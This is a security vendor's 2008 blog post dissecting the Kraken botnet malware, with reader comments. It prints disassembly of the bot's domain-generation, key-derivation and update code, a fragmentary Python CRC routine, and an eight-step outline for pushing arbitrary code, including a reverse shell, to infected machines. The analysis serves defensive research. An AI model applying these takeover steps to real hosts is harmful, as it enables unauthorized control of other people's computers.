TippingPoint Digital Vaccine Laboratories
DID YOU KNOW... Frost and Sullivan announced in their Feb. 2007 report, "Analysis of Vulnerability Discovery and Disclosure", that TippingPoint was the fastest growing discoverer of new vulnerabilities and the leader in the discovery of both high-severity and Microsoft vulnerabilities.

Owning Kraken Zombies, a Detailed Dissection

This blog contains the deep technical dive of a two-part blog series exploring the Kraken botnet. See "Kraken Botnet Infiltration" for more information regarding general statistics and observations of the botnet.

Disclaimer: I don't normally deal with malicious code analysis. My main focuses are on vulnerability discovery and general reversing so dedicating some time to analyzing Kraken was a new and interesting experience. There are many resources available on malware unpacking, PE import table reconstruction etc. so I'll skip right to the specifics of the sample. The offsets and analysis shown below are from sample 31b68fe29241d172675ca8c59b97d4f4 from Offensive Computing.

When Kraken first starts it enters an infinite loop trying to locate a master (command and control) server on UDP port 447 over a custom encrypted protocol. The contacted hostnames all reside with dynamic DNS providers with a randomly generated sub-domain. Here is a look at the function responsible for algorithmically generating the domains to connect to, keep a close eye on the second argument which is used as the seed in the generation process:

    .text:001AE810  mov     esi, [ebp+seed]
    .text:001AE813  sar     esi, 1
    .text:001AE815  add     esi, 0F424Fh
    .text:001AE81B  push    edi
    .text:001AE81C  lea     ecx, [ebp+var_10]
    .text:001AE81F  mov     [ebp+seed], esi
    .text:001AE83D  lea     ecx, [esi+7]
    .text:001AE840  lea     eax, [esi+0Ch]
    .text:001AE843  imul    eax, ecx
    .text:001AE846  imul    eax, esi
    .text:001AE849  cdq
    .text:001AE84A  pop     ecx
    .text:001AE84B  idiv    ecx
    .text:001AE84D  lea     ecx, [esi+1]
    .text:001AE850  imul    ecx, esi
    .text:001AE853  lea     ecx, [eax+ecx-0FCFBF88h]
    .text:001AE85A  jmp     short loc_1AE87C
    .text:001AE87C  imul    ecx, 41C64E6Dh
    .text:001AE882  mov     edi, 3093h
    .text:001AE887  add     ecx, edi
    .text:001AE889  mov     eax, ecx
    .text:001AE88B  imul    ecx, 41C64E6Dh
    .text:001AE891  add     ecx, edi
    .text:001AE893  ror     eax, 8
    .text:001AE896  mov     edx, ecx
    .text:001AE898  imul    ecx, 41C64E6Dh
    .text:001AE89E  mov     esi, 7FFFh
    .text:001AE8A3  and     eax, esi
    .text:001AE8A5  ror     edx, 8
    .text:001AE8A8  and     edx, esi
    .text:001AE8AA  imul    eax, edx
    .text:001AE8AD  add     ecx, edi
    .text:001AE8AF  mov     ebx, ecx
    .text:001AE8B1  ror     ecx, 8
    .text:001AE8B4  and     ecx, esi
    .text:001AE8B6  sub     eax, ecx
    .text:001AE8B8  push    6
    .text:001AE8BA  cdq
    .text:001AE8BB  pop     ecx
    .text:001AE8BC  idiv    ecx
    .text:001AE8BE  add     edx, ecx

The seed is crucial to the position in the control server list and starts at 0 on reboot. At the end of this function we see an array of domain names being access that are appended to the generated name:

    .text:001AE91D  push    dynamic_host_names[eax*4] ; lpString
    .text:001AE924  lea     ecx, [ebp+var_20]
    .text:001AE927  call    makeNewString
    .text:001AE92C  push    eax
    .text:001AE92D  push    [ebp+hostname]
    .text:001AE930  lea     eax, [ebp+var_18]
    .text:001AE933  push    eax
    .text:001AE934  lea     eax, [ebp+var_8]
    .text:001AE937  push    eax
    .text:001AE938  lea     ecx, [ebp+var_10]
    .text:001AE93B  call    concatenateStrings
    .data:001B5064 dynamic_host_names dd offset aDyndns_org
    .data:001B5064                          ; "dyndns.org"
    .data:001B5068  dd offset aYi_org       ; "yi.org"
    .data:001B506C  dd offset aDynserv_com  ; "dynserv.com"
    .data:001B5070  dd offset aMooo_com     ; "mooo.com"

Each generated host is checked twice before moving on to the next one, here are the first 5 hosts that will attempt to be contacted:


For those who are interested, here is a list of the first 15,000 hosts. Note that as of the time of this research the first Kraken server that was up and responding was 15th down the list afmbtgyktty.yi.org on IP address Armed with this information we registered the first of the available hosts and immediately began getting requests from live Kraken infections in the wild. See "Kraken Botnet Infiltration" for more information regarding general statistics and observations of the botnet.

Knowing now that it is theoretically possible to overtake the Kraken network the next step is to examine the protocol. Looking through the binary there are several calls on the socket connection it makes over UDP port 447 to the control servers. All of these calls are preceded with a send to the control server with an encrypted header:

    .text:001A83C5  call    getEncryptionKeys
    .text:001A83CA  mov     dword ptr [esp+80h+send_buffer], eax
    .text:001A83CE  lea     eax, [esp+80h+send_buffer]
    .text:001A83D2  mov     [esp+80h+var_2C], edx
    .text:001A83D6  mov     [esp+80h+var_28], ebx
    .text:001A83DA  mov     [esp+80h+var_24], 1
    .text:001A83DF  mov     [esp+80h+var_23], bl
    .text:001A83E3  mov     [esp+80h+var_22], 137h
    .text:001A83EA  mov     [esp+80h+var_20], ebx
    .text:001A83EE  mov     [esp+80h+var_1C], ebx
    .text:001A83F2  call    encryptHeader
    .text:001A8418  push    10h             ; tolen
    .text:001A841A  lea     eax, [esp+84h+to]
    .text:001A841E  push    eax             ; to
    .text:001A841F  push    ebx             ; flags
    .text:001A8420  push    18h             ; len
    .text:001A8422  lea     eax, [esp+90h+send_buffer]
    .text:001A8426  push    eax             ; buf
    .text:001A8427  push    [esp+94h+s]     ; s
    .text:001A842B  call    ds:sendto

As we can see (note that all of the symbols were manually added through reverse engineering) we get some sort of encryption key, build the header, and encrypt the header before sending. Obviously we have to figure out the encryption so we can get a better look at the command and control protocol.

I have seen some mention and packet dumps of the header on various blogs. They often state the first 8 bytes of kraken traffic is static and there is a simple reason for this. Kraken, when communicating, prepends its encryption keys so the server can properly decrypt/encrypt traffic. We can see this in the getEncryptionKeys function.  It is host specific and computes the 64 bit key from various aspects of the host hardware. Abbreviated pseudo code for the function is below.

    mov     ds:encryption_key_1, 0DCBA2C5Ah
    mov     ds:encryption_key_2, 50E41593h
    while (*adapter_info != 0) {
        for (i=0; i < adapter_info.AddressLength; i++) {
        adapter_info = *adapter_info
    encryption_key_uno += cpuid(0x0).max_input_value
    encryption_key_dos += cpuid(0x0).inel
    encryption_key_uno ^= cpuid(0x1).version
    encryption_key_dos ^= cpuid(0x1).features
    encryption_key_uno ^= cpuid(0x3).hi_serial
    encryption_key_dos ^= cpuid(0x3).low_serial
    encryption_key_uno -= GetVolumeInformation(GetWindowsDirectoryA()).VolumeSerialNumber

As previously stated we can easily get the encryption keys from the packets sent to our tap resolved from the dyndns names we registered. This is a good starting point for writing our decryption/encryption routines. At this point we know the traffic is encrypted, we know a header is sent to the remote dyndns server, and we know that in order to see into this traffic on a large scale we must decrypt the traffic. The function for decrypting our header is shown here:

    .text:001AE7E4 decryptHeader
    .text:001AE7E4  push    ecx
    .text:001AE7E5  mov     eax, [esi+packet_data.seed]
    .text:001AE7E8  test    eax, eax
    .text:001AE7EA  jz      short loc_1AE802
    .text:001AE7EC  push    1               ; flag
    .text:001AE7EE  push    eax             ; seed
    .text:001AE7EF  push    [esi+packet_data.key_2] ; key_2
    .text:001AE7F2  lea     eax, [esi+packet_data.command]
    .text:001AE7F5  push    [esi+packet_data.key_1] ; key_1
    .text:001AE7F7  push    0Ch             ; count
    .text:001AE7F9  push    eax             ; offset
    .text:001AE7FA  call    decryptPacket
    .text:001AE7FF  add     esp, 18h
    .text:001AE802 loc_1AE802:
    .text:001AE802  and     dword ptr [esi+8], 0
    .text:001AE806  pop     ecx
    .text:001AE807  retn
    .text:001AE807 decryptHeader   endp

So we call another function that is used in various places in the binary called decryptPacket passing in various data to specify what we are decrypting. The decryptPacket is a larger function that is a pretty straight forward encryption routine. It does not appear, in my opinion, to be based off of any open encryption algorithm (I will skip the details of the encryption for brevity). After writing the decryption for the header we can see more of the protocol.  The first packet being sent by this bot correlates to what we saw in the disassembly above.

    ac 8d ee d7 94 49 09 3f 00 00 00 00 01 00 37 01 00
    00 00 00 00 00 00 00

The protocol breaks down as follows.

    struct KrakenHeader {
        unsigned int key_1;
        unsigned int key_2;
        unsigned int seed;
        unsigned short command;
        unsigned short version;
        umsigned int size;
        unsigned int crc;
        unsigned char payload[size];
    } kraken_header;

So obviously we head off to see what the commands do. In the main command processing function we see a branch based off the command in our incoming packet.

    .text:001AC170  mov     eax, [esp+2C0h+command]
    .text:001AC174  sub     eax, 7
    .text:001AC177  pop     ecx
    .text:001AC178  pop     ecx
    .text:001AC179  jz      command7
    .text:001AC17F  dec     eax
    .text:001AC180  jz      command8
    .text:001AC186  sub     eax, 10h
    .text:001AC189  jz      command18
    .text:001AC18F  xor     esi, esi
    .text:001AC191  cmp     ds:dword_1B109C, ebx
    .text:001AC197  mov     [esp+2B8h+var_2A5], bl
    .text:001AC19B  jle     short loc_1AC1D7

This is certainly not a complete list of the commands, but it leads us to an interesting function. If we follow command8 we notice a method for updating the bots code. The code takes in an XML-like list of modules, module names, ids, etc. and from there processes the items looking for any updates. Analyzing the code reveals that the following format must be utilized to reach the code we are after:


The reason for this is when the bot sees that a "core" module is being sent it will download said module, write it to disk, and execute it. In the code you can also determine that the values for version, moduleid, and crc are not really checked when a "core" module is being loaded (Aside from not being 0 in some cases).

At this point we realize (and confirm our assumption) that code can arbitrarily be downloaded and executed on the zombie host as long as we can receive its initial beacon. In order to demonstrate this I have removed the details but outlined the needed steps below.

  1. Receive initial packet from zombie (command 1)
  2. Send a response with the key xor'd by the server (command 2)
  3. Receive the zombies configuration information (command 3)
  4. Send a request to update our module (command 8)
  5. Send our module update xml to the zombie (command 0x14)
  6. Open a TCP connection on port 447 for the zombie to download the module
  7. Receive the connection from the zombie
  8. Send our encrypted payload to the zombie (command 0xa)

After the zombie has received the payload it decrypts it, and runs a CRC on the payload ensuring it matches what is in the header.  This CRC is fairly simple and is below in Python.

    for x in range(0x100):
        eax = x
        for x in range(8):
            if (output.byte(eax) & 1) == 0:
                eax >>= 1
                eax >>= 1
                eax ^= 0xedb88320
    eax = ~flag
    ecx = 0
    for x in range(fsize):
        esi = (0x00000000 | struct.unpack("<B", f[x])[0])
        edx = eax
        edx &= 0xff
        edx ^= esi
        eax = output.dword(eax) >> 8
        eax ^= xor_array[edx]
    crc = ~eax
    return output.dword(crc)

If we pass the CRC check the payload gets written to a random name in c:\windows\system32 and executed.  This can be seen in the binary below.

    .text:001ADE8C  call    openWriteFile
    .text:001ADE91  add     esp, 0Ch
    .text:001ADE94  push    0FFFFFFFFh          ; dwMilliseconds
    .text:001ADE96  push    ebx                 ; char
    .text:001ADE97  push    [ebp+lpCommandLine] ; lpCommandLine
    .text:001ADE9A  call    startNewProcess     ; do our command

Where CommandLine is the path to our newly downloaded payload. As you can see it is certainly possible to upload new code to a bot as long as you can receive traffic from a zombie checking in.  To demonstrate this I have created a video that puts all these steps into practice loading arbitrary code on a zombie host running in a VM.


The video first walks you through the code path which will be executed. The video shows two systems. The host system is responsible for emulating the Kraken server. The VMWare image is of a system infected with Kraken. In the end the video will demonstrate a custom Kraken server I have written and the Kraken zombie will eventually spawn a reverse connect back shell that I have uploaded to it via the emulated Kraken server. The shell demonstrates full control over the zombie system.

Note: The code used to accomplish the various tasks outlined in this blog are not being released for obvious reasons. If you are a security firm with legitimate reasons for further information and proof-of-concept code contact us.
Tags: kraken,bot nets
Published On: 2008-04-28 19:13:08

Comments post a comment

  1. Cute Stacey commented on 2008-04-29 @ 13:38

    Great work.
    It would be nice if people who were infected, would get some sort of notification on their desktop.

  2. Joost commented on 2008-05-05 @ 06:12

    To Cute Stacey: messages to people who's pc is infected makes not much sense. Those PC's are either unused or the people using it are no longer alerted by the tons of spyware banners they receive. When your pc is infected with such a bot and it works, then you have no working virusscanner and no working personal firewall... Do you expect those people to be able to do something usefull with such a warning? BTW: a lot of such warnings come with spyware trying to trick you into installing trojans. "Warning: Your pc is infected with spyware. Since it seems that you don't care anyway, please be invited to install our trojan which will turn your pc entirely into a hoggging zombie."

  3. Stephen commented on 2008-06-21 @ 15:15

    The video is really slick. Please consider voice narration for those who are a little slow upon what's going on ;-).

  4. Demonantis commented on 2009-01-21 @ 12:51

    To Joost: I think Cute Stacey has a point. Most bots are used to send spam not to display banners. The botnet works because the bot's user does not know it is running. The banner would most likely be a bad idea for servers and abuse. Sending them a link to this article to teach them that their computer is infected would be more effective for desktops. Also, since you get the ip of the computer you could send the isp a letter explaining that they are harboring a bot and they could deal with the customer or the owner of a server could be emailed by using a whois search.

  5. Mario Casino commented on 2009-08-28 @ 07:49

    Really sick video! The really should be some kind of notification for users that have been infected. So many users don't know if there are infected by an amsterdams casino. Really helpfull article.

Links To This Post

  1. Identifiering av krypteringskod | Information och nyheter om krypto
    linked on 2008-07-04 @ 07:56 Show Comment

    I sitt exempel så använder de sig av Kraken-bot som är skadlig kod och i assemblerkod ser ett kodstycke ut enligt följande: 001AF08F   shl     eax, 4

  2. tdaxp » Blog Archive » Kill Zombies
    linked on 2008-04-29 @ 07:34 Show Comment

    Slashdot links to two amazingly interesting posts, “Owning Kraken Zombies, a Detailed Discussion” and “Kraken Botnet Infiltration.” Kraken is a botnet, or network of infested computers, that is used for bad beeds such as password cracking and distributed denial of service attacks.

  3. Interesting Bits - April 29th, 2008 « Infosec Ramblings
    linked on 2008-04-29 @ 09:28 Show Comment

    TippingPoint DVLabs Owning Kraken Zombies, a Detailed Dissection

  4. Cryptosmith Comments » Owning Kraken Zombies, a Detailed Dissection
    linked on 2008-04-30 @ 22:32 Show Comment

    Here’s a blog entry from TippingPoint on the infiltration of a Kraken botnet.

  5. Kraken y España « TIDDER
    linked on 2008-05-01 @ 04:22 Show Comment

    Según han comprobado la gente de DVLabs, que han logrado infiltrarse y diseccionar dicha red, España aparece en segundo lugar por número de ordenadores infectados, justo por detrás de EE.UU. y a la par que el Reino Unido.

  6. Botnet infiltration and ethics at JonRolfe.com
    linked on 2008-07-23 @ 03:35 Show Comment

    Security researchers at TippingPoint infiltrated the botnet after reverse engineering a sample of the malware and successfully took control of 25,000 unique bots within 7 days. This raised the question of was it ethical to disable the malware on these systems now that they had control of them? This raises an interesting question as running code on ...

  7. Good versus Evil? - The reverse engineering of Kraken | Community Site News
    linked on 2008-08-11 @ 08:57 Show Comment

    So what he’s basically saying is that this particular security vendor has it within their power to actually ‘cure’ many of these infected machines now they have been identified. They even link to a technical demonstration of such capability that can be seen here.